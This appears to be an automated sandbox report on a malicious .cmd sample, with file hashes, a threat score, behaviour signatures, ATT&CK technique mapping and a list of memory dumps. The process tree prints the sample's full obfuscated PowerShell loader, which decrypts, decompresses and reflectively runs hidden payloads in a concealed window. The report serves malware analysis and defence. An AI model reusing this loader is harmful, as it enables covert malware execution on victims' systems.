113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d

General

Target

113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d.cmd
Size

1.6MB
MD5

846debdd4c489b9cdf58cf035011385b
SHA1

edd9486a627bc3f35772e2e79eb7a3aa021569cd
SHA256

113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d
SHA512

c46b02e2a54314bca1695e03196a7041aebe5bede3e857f62e0e634cc2c4ea9ed95d569a73c2b6c935afab5a961a0253ce40988e3c65d9ff33bbaa34a2376f51
SSDEEP

24576:RHSLwbi29FzHWBFGa+EWO41DglXFH9zW9jpWwhVBn2eWKT:/vDOGiWI2DtJ

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 684 wrote to memory of 2744	684	cmd.exe	32
PID 684 wrote to memory of 2744	684	cmd.exe	32
PID 684 wrote to memory of 2744	684	cmd.exe	32
PID 684 wrote to memory of 2760	684	cmd.exe	33
PID 684 wrote to memory of 2760	684	cmd.exe	33
PID 684 wrote to memory of 2760	684	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QbyHvTiQtx89YnRta8IEyPqtyneJjEN3sJ2ZhbHVoLs='); $aes_var.IV=[System.Convert]::FromBase64String('OxX1X2lNZIgN15fz3vySVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$xCITj=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$tIajX=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FlQAx=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($xCITj, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FlQAx.CopyTo($tIajX); $FlQAx.Dispose(); $xCITj.Dispose(); $tIajX.Dispose(); $tIajX.ToArray();}function execute_function($param_var,$param2_var){ IEX '$GhsFa=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$kwssa=$GhsFa.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$kwssa.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$FFjjS = 'C:\Users\Admin\AppData\Local\Temp\113c957ba369a4bea2068a9d5596f644e365cb81c19a28cce8ca1382ccc08e2d.cmd';$host.UI.RawUI.WindowTitle = $FFjjS;$kRRdo=[System.IO.File]::ReadAllText($FFjjS).Split([Environment]::NewLine);foreach ($smNgX in $kRRdo) { if ($smNgX.StartsWith('luZsHxYvUgyKYktkRiik')) { $gnoFR=$smNgX.Substring(20); break; }}$payloads_var=[string[]]$gnoFR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2760-4-0x000007FEF57CE000-0x000007FEF57CF000-memory.dmp

Filesize
4KB

Download
memory/2760-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2760-6-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-7-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/2760-10-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-11-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-9-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-8-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-12-0x000007FEF5510000-0x000007FEF5EAD000-memory.dmp

Filesize
9.6MB

Download
memory/2760-13-0x000007FEF57CE000-0x000007FEF57CF000-memory.dmp

Filesize
4KB

Download

Analysis

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